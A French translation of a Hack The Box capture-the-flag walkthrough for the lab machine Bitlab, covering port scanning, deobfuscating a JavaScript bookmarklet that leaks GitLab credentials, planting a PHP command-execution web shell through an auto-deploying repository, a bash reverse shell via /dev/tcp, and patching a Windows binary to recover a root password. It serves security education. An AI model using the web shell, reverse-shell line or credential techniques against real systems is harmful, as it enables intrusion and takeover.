Hack The Box - Procédure pas à pas Bitlab. Faible obfuscation JS, GIT et applications Windows inversées

image

Dans cet article, je vais commencer à publier des solutions envoyées pour un traitement ultérieur à partir du site HackTheBox . J'espère que cela aidera au moins quelqu'un à se développer dans le domaine de la sécurité de l'information. Dans cet article, nous allons traiter d'un peu d'obscurcissement JavaScript, charger la porte dérobée via le référentiel Git et déboguer l'application 32.

La connexion au laboratoire se fait via VPN. Il est recommandé de ne pas se connecter à partir d'un ordinateur de travail ou d'un hôte où les données importantes pour vous sont disponibles, car vous vous retrouvez sur un réseau privé avec des personnes qui connaissent quelque chose dans le domaine de la sécurité de l'information :)

Information organisationnelle
Surtout pour ceux qui veulent apprendre quelque chose de nouveau et se développer dans l'un des domaines de l'information et de la sécurité informatique, j'écrirai et parlerai des catégories suivantes:

  • PWN;
  • cryptographie (Crypto);
  • technologies de réseau (réseau);
  • reverse (Reverse Engineering);
  • stéganographie (Stegano);
  • recherche et exploitation des vulnérabilités WEB.

En plus de cela, je partagerai mon expérience en criminalistique informatique, analyse de logiciels malveillants et micrologiciels, attaques sur les réseaux sans fil et les réseaux locaux, réalisation de pentests et écriture d'exploits.

Afin que vous puissiez vous renseigner sur les nouveaux articles, logiciels et autres informations, j'ai créé une chaîne dans Telegram et un groupe pour discuter de tout problème dans le domaine de l'ICD. Aussi, je considérerai personnellement vos demandes, questions, suggestions et recommandations personnelles et répondrai à tout le monde .

Toutes les informations sont fournies à des fins éducatives uniquement. L'auteur de ce document n'assume aucune responsabilité pour tout dommage causé à quelqu'un du fait de l'utilisation des connaissances et des méthodes obtenues à la suite de l'étude de ce document.

Intelligence


Balayage de port


Cette machine a une adresse IP de 10.10.10.114, que j'ajoute à / etc / hosts.
10.10.10.114 bitlab.htb
Tout d'abord, nous analysons les ports ouverts. Puisqu'il faut beaucoup de temps pour analyser tous les ports avec nmap, je vais d'abord le faire avec masscan. Nous analysons tous les ports TCP et UDP à partir de l'interface tun0 à une vitesse de 1000 paquets par seconde.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.114 --rate=1000

image

Ensuite, vous devez collecter plus d'informations sur les ports que nous connaissons.
nmap -A bitlab.htb -p22,80

image

Comme indiqué dans le rapport nmap, SSH et un serveur Web s'exécutent sur l'hôte. Et sur le serveur Web, il y a robots.txt. Après avoir parcouru les répertoires de cette liste, nous notons que gitlab fonctionne et qu'il existe un répertoire d'aide non indexé.

image

En allant à la page des signets, nous avons plusieurs liens.

image

Js


Tous pointent vers le site d'un produit, sauf le dernier, qui ne contient pas d'adresse, mais un code JS.

image

Qu'est-ce que ce code a obscurci.
 javascript:(function(){ var _0x4b18=["\x76\x61\x6C\x75\x65","\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x63\x6C\x61\x76\x65","\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64","\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78"];document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]= _0x4b18[3];document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]= _0x4b18[5]; })() 

Pour obtenir un code plus lisible, vous pouvez utiliser le site suivant .

image

Après un petit raffinement du code, nous obtenons les instructions suivantes.
 document.getElementById("user_login").value = "clave"; document.getElementById("user_password").value = "11des0081x"; 

Git


Avec ces données d'authentification, nous sommes autorisés dans gitlab. On y trouve deux profils.

image

Vous pouvez également trouver un projet dans lequel il existe une connexion à la base de données, dans le code je présente toutes les données pour la connexion.

image

En vérifiant le profil, nous ne trouvons rien d'intéressant.

image

Deployer n'a que du code php.

image

À partir de ce code, il devient clair que si nous plaçons un fichier dans le profil, il sera déployé sur le serveur.

Point d'entrée


Nous devons placer une porte dérobée php. Par exemple, celui qui recevra et exécutera les commandes.
 <?php $cmd = $_REQUEST['cmd']; system($cmd); die; ?> 

Pour ce faire, ouvrez Profil et créez un nouveau fichier.

image

image

Et après avoir ajouté notre fichier apparaîtra dans le référentiel.

image

Nous testons maintenant la porte dérobée.

image

Maintenant, nous obtenons un shell complet.
 bash -i >& /dev/tcp/10.10.15.150/4321 0>&1 

image

Et nous voyons la connexion inverse à notre hôte.

image

UTILISATEUR


Une fois sur l'hôte, il est impératif de vérifier les données achetées plus tôt. Ce sont les données pour accéder à la base de données.

Ouverture interactive de l'interpréteur PHP. Nous utilisons le code trouvé et regardons les données trouvées. Mot de passe utilisateur en base64, décodez-le.

image

Nous découvrons donc le mot de passe, qui peut apparemment se connecter via SSH. Mais cela n'a pas fonctionné, car base64 est le mot de passe)).

image

RACINE


En regardant autour de la voiture, nous trouvons un fichier exe dans le répertoire personnel de l'utilisateur.

image

Nous le copions sur notre hôte pour analyse.
 scp clave@10.10.10.114:~/RemoteConnection.exe . 

Ensuite, ouvrez le fichier dans IDA Pro. En faisant défiler la fonction principale main, vous pouvez trouver une comparaison de la variable avec le nom d'utilisateur et créer un processus avec putty - un programme pour les connexions réseau.

image

Nous pouvons supposer que la connexion se produit avec la fourniture de données d'authentification, et nous devons les trouver. Les données de connexion seront transmises en tant que paramètre, c'est-à-dire variable v3.

Vous pouvez voir la ligne terminée pendant le débogage, mais dans l'IDA, le fichier 32 bits se bloque. En déboguant étape par étape, nous comprenons que cela se produit après avoir appelé GetUserNameW. Nous procédons comme suit.

Mettez BP sur le fragment de comparaison de noms.

image

Maintenant, nous mettons BP avant de charger les paramètres de la fonction GetUserNameW.

image

Exécutez le programme dans le débogueur. Le débogage s'arrête avant d'appeler la fonction dont nous avons besoin.

image

Maintenant, corrigez le code. Au lieu de charger les paramètres et d'appeler la fonction, vous devez mettre l'instruction NOP. J'utilise le plugin Keypatch pour cela.

image

Maintenant, le code ressemble à ceci.

image

Continuons à déboguer le programme pour qu'il arrête de comparer le nom. À ce stade, l'adresse de la chaîne de paramètres sera déjà chargée dans le registre EAX pour être transmise en tant que paramètre ShellExecuteW.

image

Cliquez maintenant sur la flèche (sauter dans le démontage) à côté du registre EAX. Cela vous permettra d'accéder à l'adresse depuis EAX dans la fenêtre principale de l'IDA.

image

Cette adresse contient la chaîne de paramètres. Comme vous pouvez le voir, il contient le texte symétriquement correct "-ssh root ...". Mais chaque caractère est représenté par 2 octets. Pour collecter facilement la chaîne, appuyez sur Alt + A.

image

Et dans cette fenêtre, sélectionnez Unicode C-Style (16 bits). Ensuite, nous observons la chaîne correctement assemblée.

image

Cette ligne contient le mot de passe root. Nous nous connectons via ssh et récupérons le jeton.

image

Vous pouvez nous rejoindre sur Telegram . Créons une communauté dans laquelle il y aura des gens qui connaissent bien de nombreux domaines de l'informatique, puis nous pouvons toujours nous entraider pour tout problème informatique et de sécurité de l'information.

Source: https://habr.com/ru/post/fr483646/


All Articles